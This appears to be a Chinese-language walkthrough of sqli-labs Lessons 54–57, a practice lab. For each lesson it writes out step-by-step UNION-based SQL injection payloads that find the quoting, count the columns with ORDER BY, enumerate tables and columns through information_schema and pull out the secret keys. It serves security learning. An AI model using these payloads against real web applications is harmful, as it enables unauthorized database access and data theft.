Lesson 54 GET - challenge - Union - 10 queries allowed - Variation 1
由此可以看出,我们这次只有10次的挑战机会,拿到key值成功提交才行。
ID值的几种闭合方法
我们这里使用了回显,更容易看见id闭合的情况,为了方便,实际绝对不会这么容易,10次肯定不够,这只是局限于sqli-lab,套路都差不多,就希望牢牢记住套路吧。
(1)第一次
显示正常,id值被单引号包裹。
(2)第二次(加单引号,注释符)
?id=1' --+
显示正常
(3)第三次(order by 猜测列数)
?id=1' order by 3--+
(4)第四次(order by多试一次)
?id=1' order by 4--+
正确结果为3列
(5)第五次(union select语句进行联合查询,记得破坏id值)
?id=-1' union select 1,2,3--+
回显出位置
(6)第六次(查表,因为已知数据库为CHALLENGES)
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='CHALLENGES'--+
得到表的名字:tawn8knynh
(7)第七次(查字段)
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='tawn8knynh'--+
得到字段值:id,sessid,secret_0ANQ,tryy
(8)第八次(查字段的值,取这个secret_0ANQ即可)
?id=-1' union select 1,2,group_concat(concat_ws(0x7e,secret_0ANQ)) from CHALLENGES.tawn8knynh --+
得到key:D2FTLPFcbkdGs1z9ShPUElUz
(9)提交
成功
Lesson 54结束
Lesson 55 GET - challenge - Union - 14 queries allowed - Variation 2
(1)第一次
显示正常,可以看到此次id值被括号包裹,尝试次数变成了14次。虽然我们一下就能看见,但是看不见的情况下,还是可能要多试几次才可以。
(2)第二次(加括号,注释符)
?id=1) --+
(3)第三次(使用order by语句)
?id=1) order by 3--+
(4)第四次(多试一次order by)
?id=1) order by 4--+
正确为3列
(5)第五次(使用union select语句,记得破坏id值)
?id=-1) union select 1,2,3--+
回显出位置
(6)第六次(查表,已知数据库为CHALLENGES)
?id=-1) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='CHALLENGES'--+
拿到表名:4q0t4wszr0
(7)第七次(查字段)
?id=-1) union select 1,2,group_concat(column_name) from information_schema.columns where table_name='4q0t4wszr0'--+
拿到字段:id,sessid,secret_0WH4,tryy
(8)第八次(查字段secret_0WH4的值 )
?id=-1) union select 1,2,group_concat(concat_ws(0x7e,secret_0WH4)) from CHALLENGES.4q0t4wszr0 --+
拿到字段值:jL8iwqR6iAGnnc2rO4kuDqr0
(9)提交
成功
Lesson 55结束
Lesson 56 GET - challenge - Union - 14 queries allowed - Variation 3
(1)第一次
显示正常,这次id值被单引号和括号包裹
(2)第二次(加上单引号和括号,注释符)
?id=1') --+
(3)第三次(使用order by语句)
?id=1') order by 3--+
(4)第四次(多试一次order by语句)
?id=1') order by 4--+
正确为3列
(5)第五次(使用union select语句,记得破坏id值)
?id=-1') union select 1,2,3--+
回显出位置
(6)第六次(查表,已知数据库为CHALLENGES)
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='CHALLENGES'--+
拿到表名:rlvcskg5vj
(7)第七次(查字段)
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='rlvcskg5vj'--+
拿到字段:id,sessid,secret_OK14,tryy
(8)第八次(查字段secret_OK14的值)
?id=-1') union select 1,2,group_concat(concat_ws(0x7e,secret_OK14)) from CHALLENGES.rlvcskg5vj --+
拿到字段值:9qbHI1mqlMvnig1hvLVgZBNL
(9)提交
成功
Lesson 56结束
Lesson 57 GET - challenge - Union - 14 queries allowed - Variation 4
(1)第一次
显示正常,可以看到id值被双引号包裹
(2)第二次(加上双引号和注释符)
?id=1" --+
(3)第三次(使用order by语句)
?id=1" order by 3--+
(4)第四次(多尝试一次order by语句)
?id=1" order by 4--+
正确为3列
(5)第五次(使用union select语句,记得破坏id值)
?id=-1" union select 1,2,3--+
回显出位置
(6)第六次(查表,已知数据库为CHALLENGES)
?id=-1" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='CHALLENGES'--+
拿到表名:ivp5ivsw0z
(7)第七次(查字段)
?id=-1" union select 1,2,group_concat(column_name) from information_schema.columns where table_name='ivp5ivsw0z'--+
拿到字段:id,sessid,secret_08MZ,tryy
(8)第八次(查字段secret_08MZ的值)
?id=-1" union select 1,2,group_concat(concat_ws(0x7e,secret_08MZ)) from CHALLENGES.ivp5ivsw0z --+
拿到字段值:YSJvWnum8bOeEqKGAzqon0W2
(9)提交
成功
Lesson 57结束